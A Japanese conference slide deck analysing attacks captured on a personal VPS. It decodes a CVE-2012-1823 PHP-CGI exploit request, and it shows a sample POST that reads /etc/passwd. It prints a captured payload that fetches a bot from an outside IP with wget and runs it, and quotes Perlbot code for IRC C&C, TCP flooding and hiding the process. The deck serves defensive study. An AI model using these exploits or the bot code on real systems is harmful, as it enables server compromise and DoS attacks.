SlideShare a Scribd company logo
さくらのVPSに来た、いろ
いろアタック観察記
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 1
"GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 318 "-" "ZmEu"
"GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu"
"GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "ZmEu"
"GET /pma/scripts/setup.php HTTP/1.1" 404 298 "-" "ZmEu"
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7
7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6
4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73
%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%
3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6
1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
2013/10/6 すみだITセキュリティ勉強会 @ozuma5119
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 2
• @ozuma5119
• ネット企業でセキュリティサービスを
やっているエンジニア
• http://d.hatena.ne.jp/ozuma/
• 科学写真家(と名乗っている)
自己紹介
はじめに
• この中で話すこと
– OSやミドルウェアの脆弱性とかよくITニュース
サイトに載ってるけど、放っておくとどうなる
の?
• 今日話さないこと
– セキュアなサーバ構築の具体的手法、など
– それはまぁ、色々と教科書的なものがあるのでこ
こでわざわざ話すこと無いかな、と……
– でも普通の教科書にはほとんど載ってない話をす
るので楽しんでいただけると。思います。たぶん。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 3
LPIC 「Linuxセキュリティ標準教科書」
http://www.lpi.or.jp/linuxtext/security.shtml
話すことの概要
• 個人で借りているさくらのVPSにいろいろ
来るので、その攻撃を観察してみた
– 悪いことしてる人たちがどうしようとしてい
るかが、なんとなくかいま見えた。ので誰か
に言いたくなった
• ボットネット。
– クラウド流行りで世界中にとてもたくさんの
「野良サーバ」ができたので、悪い人達は、
うひょうひょ言いながら狙ってる
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 4
ボットネット?
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 5
「ボットネットからの保護」http://www.microsoft.com/ja-jp/security/pc-security/botnet.aspx より引用
ボットネットのクラウド化
• ボットネット自体は7,8年くらい前から登
場している
• 一般ユーザのPCをマルウェア感染させ、
ボットネットに組み込んでいる
– ボットネットはIRCを使って、C&C(コマンド&
コントロール)サーバから指示を受け取る
• ボットネット構成マシンとして、最近は、
一般ユーザのPCより、性能的にもネット
ワーク的にも有利なVPSやクラウドサーバ
を狙うものが多い
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 6
こんなん見ました・その1
• サーバ管理ソフトPlesk Panelの脆弱性を
放っておくとどうなるか。
– PHPの脆弱性でもあるんだけど
– /phppath/php のおはなし
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 7
最近よく見るhttpdのログ
• みなさんも見ましたか。見てませんか。
• あちこちのWebサーバ複数で同じリクエス
トが見られたので、相当広範囲にスキャ
ンしてたようです
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 8
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7
7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6
4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73
%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%
3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6
1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
ちなみにリクエスト元は
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 9
アクセス日時 ソースIP 逆引きしたホスト名 国名
01/Jul/2013:01:30:21 74.208.202.77
u16950462.onlinehome-
server.com
アメリカ
08/Jul/2013:05:51:32 117.120.2.111 (なし) シンガポール
19/Jul/2013:00:25:47 87.255.55.11 (なし) オランダ
24/Jul/2013:18:06:52 62.148.186.34
62-148-186-34-hosted-
by.denit.net
オランダ
31/Jul/2013:18:46:17
66.160.128.16
4
(なし) アメリカ
01/Aug/2013:11:01:22
114.141.196.2
8
svr1.gardenexpress.com.au
オーストラリ
ア
08/Aug/2013:12:17:33 67.205.102.43 bceco.cd カナダ
• ざっくり一週間おき?
• 中国からは一件も無かった。意外。
まずはリクエストされたパスを
分かりやすくする
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 10
66.160.128.164 - - [31/Jul/2013:18:46:17 +0900] "POST
/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%7
7%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%6
4+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73
%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%
3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63
%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%6
1%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%
5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A
%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 404 288 "-" "-"
/phppath/php?-d allow_url_include=on -d safe_mode=off -d
suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d
auto_prepend_file=php://input -n
↓URLデコードします
見やすくすると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 11
POST /phppath/php?-d allow_url_include=on
-d safe_mode=off
-d suhosin.simulation=on
-d disable_functions=""
-d open_basedir=none
-d auto_prepend_file=php://input
-n
• 見やすくするため改行も入れるとこうな
る
– Parallels Plesk Panelを狙っている
– PHPの脆弱性(CVE-2012-1823)を狙っている
Parallels Plesk Panel 9
• サーバ管理のWebツールとして広く利用さ
れており、Apache+PHPが同梱されている
• 以下のような設定がhttpd.confに設定され
ている豪快なつくり
– ScriptAlias /phppath/ /usr/bin/
• 同梱されているPHPは古いCGI版PHP
– これが悲劇を招く
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 12
CVE-2012-1823 脆弱性
• CGI版PHPの脆弱性
• PHPのオプションとしてGETパラメタがそ
のまま渡ってしまう
• Plesk Panel 9のPHPにもこの脆弱性アリ
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 13
例)ソースコードがそのまま表示されてしまう
http://192.168.1.1/important/apl.php?-s
$ man php
--syntax-highlight
-s Output HTML syntax highlighted source
CVE-2012-1823 脆弱性その2
• オプションを組み合わせると、POSTリク
エストのbody部をそのままサーバ上でPHP
スクリプトとして実行できてしまう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 14
/phppath/php?-d allow_url_include=on
-d auto_prepend_file=php://input
• allow_url_include : 外部からのinclude許可
• auto_prepend_file : 開発時などに用いるパラ
メタで、スクリプト実行前に、指定したファ
イルをrequireして実行する
CVE-2012-1823 脆弱性その3
• つまり以下のような感じのPOSTを投げつ
けるだけで、お好きなPHPスクリプトを
サーバ上で実行させることができる
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 15
POST /phppath/php?-d allow_url_include=on
-d auto_prepend_file=php://input HTTP/1.1
Host: www.example.org
Content-Length: xxxx
<?php
readfile('/etc/passwd');
?>
参考URL
http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
何を実行しようとしている?
• ということは、このアクセスも、悪い人
がサーバで実行しようとしているPHPスク
リプト本体がPOSTされてきているのだろ
う
– それは見てみたい!
• アクセスログだけ見ていてもつまらない
ので、tcpdumpしてPOSTリクエストのボ
ディ部(= 実行しようとしているPHPスクリ
プト)を見てみる
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 16
待つこと数日、ktkr
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 17
脆弱性スキャンされている
• "___2pac" という文字列をechoしているだけ
• おそらくレスポンスボディにこの文字列があ
るサーバをスキャンして探しているのだろう
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 18
POST /%70%68%70%70%6(省略)
HTTP/1.1
Host: 49.212.197.88
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
<?php echo "Content-Type:text/htmlrnrn";echo
"___2pacn"; ?>
脆弱性があるフリをしてみる
• POSTされたら上記CGIにRewriteする。(ち
なみにサーバにPHPはインストールすらし
てない)
• これで悪い人は「脆弱性あり」と判断し
て、続けて本番の攻撃スクリプトを送り
込んでくるはず →→ 来た。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 19
#!/usr/bin/perl
print "Content-Type:text/htmlrnrn";
print "___2pacn";
攻撃は0.5秒後
• 1行目が"___2pac"をechoさせるPHPをPOST
• 2行目が本番の攻撃スクリプト
• 脆弱性アリと判断後、1秒も経たずに攻撃
– しかも攻撃元の 210.188.206.176はSAKURA Internet
– 偶然? 地理的に近いサーバを自動選択?
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 20
67.205.102.43 - - [08/Aug/2013:12:17:33 +0900] "POST
/%70%68(省略) HTTP/1.1" 200 8 "-" "-"
210.188.206.176 - - [08/Aug/2013:12:17:33 +0900] "POST
/%70%68(省略) HTTP/1.1" 200 8 "-" "Mozilla/5.0
(compatible; Googlebot/2.1;
+http://www.google.com/bot.html)"
POSTされた攻撃スクリプト
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 21
<?php
echo "Content-Type:text/htmlrnrn";
echo "OKn";
system("crontab -r;
cd /tmp;
rm -fr bpn*;
wget http://188.165.242.15/bpn -q;
perl bpn >/dev/null 1>/dev/null 2>/dev/null;
rm -fr bpn*");
?>
• system関数内でUNIXコマンドを実行した
いようです
脱線:crontab –r の恐怖
• crontab –e と間違えて crontab –r すると、何
の警告もなく全てが消え失せる
– crontab –e 禁止令を出す人もいる (/etc/crontabだ
け使う)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 22
macbook:~ ozuma$ crontab -l
15 * * * * /home/ozuma/bin/hoge.sh
0 9 1 * * /home/ozuma/bin/piyo.sh > /dev/null 2>&1
*/5 * * * * /home/ozuma/bin/fuga.sh > /dev/null 2>&1
macbook:~ ozuma$ crontab -r
macbook:~ ozuma$ crontab -l
crontab: no crontab for ozuma
macbook:~ ozuma$
さらに攻撃スクリプトをダウン
ロードしている
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 23
<?php
echo "Content-Type:text/htmlrnrn";
echo "OKn";
system("crontab -r;
cd /tmp;
rm -fr bpn*;
wget http://188.165.242.15/bpn -q;
perl bpn >/dev/null 1>/dev/null 2>/dev/null;
rm -fr bpn*");
?>
• そこでこのbpnを手でwgetしてみた
188.165.242.15はOVH SAS(フラ
ンスのホスティング業者)
bpn - Perlbot抜粋
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 24
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd -x");
my @titi = ("index.php?page=","main.php?page=");
my $goni = $titi[rand scalar @titi];
my $linas_max='3';
my $sleep='7';
my @adms=("LaCannA","amd-64bit" );
my
@hostauth=("lacannabiscaffe.smok","amd.de.lacannabiscaffe.smok");
my @canais=("#coffeeshop");
chop (my $nick = `uname`);
my $ircname =("weed");
my $realname = ("mary");
$servidor="209.20.83.28" unless $servidor;
my $porta='53';
209.20.83.28 : Rackspace Hosting
(アメリカのホスティング会社)
ポート53
ダウンロードしたbpn
• これはPerlBotとか言われてる有名なもの
– しかしソースコードは稚拙な部分も多い
• ボットネットのC&C(コマンド&コントロー
ル)サーバにIRC接続し、指示を待つ
• 興味ある方は以下へ置いてあります
– http://txt2url.com/d532f7a995b287eca6f7f2c527ba0bd5
• SANSの解説記事が参考になります
– http://handlers.sans.org/jullrich/perlbot.html
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 25
Perlbot抜粋 その2
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 26
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
C&Cサーバ接続機能(IRC)
Perlbot抜粋 その3
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 27
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
DoS攻撃機能
Perlbot概要
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 28
• C&Cサーバから以下のような感じで指令を
受けてDoS攻撃をする
– IRCの指定されたチャンネルに接続する
– 指令者のnickから攻撃先の指示がIRCのチャッ
トで送信されるため、それを元にDoS攻撃を
おこなう
• なぜIRCなのか?
– 多数のクライアントに伝達しやすい
– あとはまぁ、「ボットネットの伝統」
C&Cサーバを覗いてみると
• Perlbotスクリプトで指定されていたC&C
サーバを覗いてみる(危険)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 29
$ telnet 209.20.83.28 53
Trying 209.20.83.28...
Connected to 209-20-83-28.static.cloud-ips.com.
Escape character is '^]'.
:irc.sudominio.org NOTICE AUTH :*** Looking up your
hostname...
:irc.sudominio.org NOTICE AUTH :*** Found your hostname
今回の攻撃のまとめ
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 30
攻撃を追ってみて分かったこと
• 最終目的はサーバを乗っ取ってボット
ネットに組み込むこと(そしてよそを攻
撃すること)
• 脆弱性スキャン役、攻撃役、スクリプト
配布役、制御役(C&Cサーバ)、全てが別
サーバで[分業]されている
• それぞれのサーバはクラウドやVPSなどの
「野良サーバ」が有効活用されている
– 昔は一般ユーザのPCが多かったが……
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 31
Perlbot (bpn)に見る小ネタ
• せっかくなので、さっき仕込まれそうに
なったbpnスクリプト(Perlbot)のソース
コードを読んでみて、そこから学ぶこと
はないか
– ポジティブシンキングしよう。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 32
Perlbotに見る小ネタ1
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 33
#!/usr/bin/perl
my $processo
=("suid","/usr/sbin/sshd","rpc.idmapd","auditd","crond","klogd
-x");
...
(省略)
...
$0="$processo"."¥0"x16;;
• C&Cに接続して常駐するプロセスなので、発
見されにくくするための工夫がある。
• それがPerlの特殊変数 $0 への代入
– なぜセミコロンが2つあるかは謎だ。気にするな
$0 に値を入れないと
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 34
Perlスクリプト実行中なことがバレバレ
$0 に値を入れると
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 35
psコマンドの出力が$0の値に化けて見つか
りにくい
$0 に値を入れる(FreeBSD)
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 36
ちなみにFreeBSDだと後ろに (perl5.x.x) が
付くのでバレバレです
Perlbotに見る小ネタ2
• シグナルをトラップしている
– 簡単にkillできないようになっている
• Perlでは%SIGに'IGNORE'とすると、該当シ
グナルを無視することができる
– すなわちkill –KILLでしか終了できなくなる
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 37
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
Perlでのシグナル操作
• ちなみにこんな感じでkillを受け取ったら
実行されるサブルーチンも設定できる
– 作業ファイルを操作するとか。
– これがまっとうな使い方
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 38
#!/usr/bin/perl
...
...
$SIG{'TERM'} = sub {
die("Killed by SIGTERM.¥n");
};
Perlでのシグナル操作
• ちなみにこういうのを調べるときはうま
くmanとperldocを使いましょう
– すぐにググらずまずは公式ドキュメントを。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 39
$ perldoc –q signal
$ perldoc perlfaq8
$ perldoc perlipc
$ man –aw signal
$ man 7 signal
Perlbotに見る小ネタ3
• サーバを$serverじゃなくて$servidorと書い
ている
• 他にも $porta, $versao, $processo など
• スペイン語かポルトガル語っぽいけど
どっち?
– これどっちも似ているのでむつかしい
– どちらの言語でもサーバはservidorなので区別
できない
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 40
$servidor="209.20.83.28" unless $servidor;
攻撃スクリプトに透けてみえる
「中の人」
• スペイン語かポルトガル語かは、Version,
port, あたりを見ると分かりやすい
– Perlbotはポルトガル語のようです
• 元のソースを書いた「中の人」を想像す
ることで、悪い人の姿がちょっぴり透け
て見える気がしませんか。私はします。
さくらのVPSに来たいろいろアタック観察記 (@ozuma5119) 41
スペイン語 ポルトガル語
バージョン Versión Versão
ポート Puerto Porta

More Related Content

What's hot

Keycloak入門-OpenID ConnectによるAPIセキュリティ
Keycloak入門-OpenID ConnectによるAPIセキュリティKeycloak入門-OpenID ConnectによるAPIセキュリティ
Keycloak入門-OpenID ConnectによるAPIセキュリティYuichi Nakamura
 
これからLDAPを始めるなら 「389-ds」を使ってみよう
これからLDAPを始めるなら 「389-ds」を使ってみようこれからLDAPを始めるなら 「389-ds」を使ってみよう
これからLDAPを始めるなら 「389-ds」を使ってみようNobuyuki Sasaki
 
Scapyで作る・解析するパケット
Scapyで作る・解析するパケットScapyで作る・解析するパケット
Scapyで作る・解析するパケットTakaaki Hoyo
 
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話Takashi Uemura
 
サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技
サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技
サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技yoku0825
 
MHA for MySQLとDeNAのオープンソースの話
MHA for MySQLとDeNAのオープンソースの話MHA for MySQLとDeNAのオープンソースの話
MHA for MySQLとDeNAのオープンソースの話Yoshinori Matsunobu
 
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについてCentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについてNobuyuki Sasaki
 
PHPとシグナル、その裏側
PHPとシグナル、その裏側PHPとシグナル、その裏側
PHPとシグナル、その裏側do_aki
 
Using ngx_lua / lua-nginx-module in pixiv
Using ngx_lua / lua-nginx-module in pixivUsing ngx_lua / lua-nginx-module in pixiv
Using ngx_lua / lua-nginx-module in pixivShunsuke Michii
 
Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会Masahiko Sawada
 
Linuxのsemaphoreとmutexを見る 
Linuxのsemaphoreとmutexを見る Linuxのsemaphoreとmutexを見る 
Linuxのsemaphoreとmutexを見る wata2ki
 
TripleOの光と闇
TripleOの光と闇TripleOの光と闇
TripleOの光と闇Manabu Ori
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)NTT DATA Technology & Innovation
 
Cassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpn
Cassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpnCassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpn
Cassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpnhaketa
 
オンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化するオンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化するKenkichi Okazaki
 
Linux女子部 iptables復習編
Linux女子部 iptables復習編Linux女子部 iptables復習編
Linux女子部 iptables復習編Etsuji Nakai
 
さいきんの InnoDB Adaptive Flushing (仮)
さいきんの InnoDB Adaptive Flushing (仮)さいきんの InnoDB Adaptive Flushing (仮)
さいきんの InnoDB Adaptive Flushing (仮)Takanori Sejima
 
Spring Security 5.0 解剖速報
Spring Security 5.0 解剖速報Spring Security 5.0 解剖速報
Spring Security 5.0 解剖速報Takuya Iwatsuka
 
High Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando PatroniHigh Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando PatroniZalando Technology
 

What's hot (20)

Keycloak入門-OpenID ConnectによるAPIセキュリティ
Keycloak入門-OpenID ConnectによるAPIセキュリティKeycloak入門-OpenID ConnectによるAPIセキュリティ
Keycloak入門-OpenID ConnectによるAPIセキュリティ
 
これからLDAPを始めるなら 「389-ds」を使ってみよう
これからLDAPを始めるなら 「389-ds」を使ってみようこれからLDAPを始めるなら 「389-ds」を使ってみよう
これからLDAPを始めるなら 「389-ds」を使ってみよう
 
SSH力をつけよう
SSH力をつけようSSH力をつけよう
SSH力をつけよう
 
Scapyで作る・解析するパケット
Scapyで作る・解析するパケットScapyで作る・解析するパケット
Scapyで作る・解析するパケット
 
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
VPS借りたけどセキュリティが心配! 初心者が気をつけたいセキュリティの話
 
サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技
サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技
サーバーが完膚なきまでに死んでもMySQLのデータを失わないための表技
 
MHA for MySQLとDeNAのオープンソースの話
MHA for MySQLとDeNAのオープンソースの話MHA for MySQLとDeNAのオープンソースの話
MHA for MySQLとDeNAのオープンソースの話
 
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについてCentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
CentOS 8で標準搭載! 「389-ds」で構築する 認証サーバーについて
 
PHPとシグナル、その裏側
PHPとシグナル、その裏側PHPとシグナル、その裏側
PHPとシグナル、その裏側
 
Using ngx_lua / lua-nginx-module in pixiv
Using ngx_lua / lua-nginx-module in pixivUsing ngx_lua / lua-nginx-module in pixiv
Using ngx_lua / lua-nginx-module in pixiv
 
Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会Inside vacuum - 第一回PostgreSQLプレ勉強会
Inside vacuum - 第一回PostgreSQLプレ勉強会
 
Linuxのsemaphoreとmutexを見る 
Linuxのsemaphoreとmutexを見る Linuxのsemaphoreとmutexを見る 
Linuxのsemaphoreとmutexを見る 
 
TripleOの光と闇
TripleOの光と闇TripleOの光と闇
TripleOの光と闇
 
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
マネージドPostgreSQLの実現に向けたPostgreSQL機能向上(PostgreSQL Conference Japan 2023 発表資料)
 
Cassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpn
Cassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpnCassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpn
Cassandra導入事例と現場視点での苦労したポイント cassandra summit2014jpn
 
オンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化するオンプレを少しずつコンテナ化する
オンプレを少しずつコンテナ化する
 
Linux女子部 iptables復習編
Linux女子部 iptables復習編Linux女子部 iptables復習編
Linux女子部 iptables復習編
 
さいきんの InnoDB Adaptive Flushing (仮)
さいきんの InnoDB Adaptive Flushing (仮)さいきんの InnoDB Adaptive Flushing (仮)
さいきんの InnoDB Adaptive Flushing (仮)
 
Spring Security 5.0 解剖速報
Spring Security 5.0 解剖速報Spring Security 5.0 解剖速報
Spring Security 5.0 解剖速報
 
High Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando PatroniHigh Availability PostgreSQL with Zalando Patroni
High Availability PostgreSQL with Zalando Patroni
 

Similar to さくらのVPSに来た攻撃観察記

Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...
Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...
Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...Preferred Networks
 
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料Yasutaka Hamada
 
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...Kousuke Ebihara
 
Libido driven development Shibuya.pm tech talk #8
Libido driven development Shibuya.pm tech talk #8Libido driven development Shibuya.pm tech talk #8
Libido driven development Shibuya.pm tech talk #8Yusuke Wada
 
Struts2を始めよう!
Struts2を始めよう!Struts2を始めよう!
Struts2を始めよう!Shinpei Ohtani
 
Lapp環境をソースからインストールする(centos)
Lapp環境をソースからインストールする(centos)Lapp環境をソースからインストールする(centos)
Lapp環境をソースからインストールする(centos)Kimiyuki Yamauchi
 
OCamlでWebアプリケーションを作るn個の方法
OCamlでWebアプリケーションを作るn個の方法OCamlでWebアプリケーションを作るn個の方法
OCamlでWebアプリケーションを作るn個の方法Hiroki Mizuno
 
Firefox5+HTML5×5
Firefox5+HTML5×5Firefox5+HTML5×5
Firefox5+HTML5×5dynamis
 

Similar to さくらのVPSに来た攻撃観察記 (10)

Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...
Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...
Kubernetes で実践するクラウドネイティブ DevOps "監視とオブザーバビリティ"編 / Cloud Native DevOps with K...
 
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
2014/11/04 第2回 一撃サーバー構築シェルスクリプト勉強会(さっぽろ!) 発表資料
 
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
XML と PHP のイケナイ関係 (セキュリティ的な意味で) -Introduction of XXE attack and XML Bomb with...
 
Libido driven development Shibuya.pm tech talk #8
Libido driven development Shibuya.pm tech talk #8Libido driven development Shibuya.pm tech talk #8
Libido driven development Shibuya.pm tech talk #8
 
はせがわようすけ
はせがわようすけはせがわようすけ
はせがわようすけ
 
sgvizler
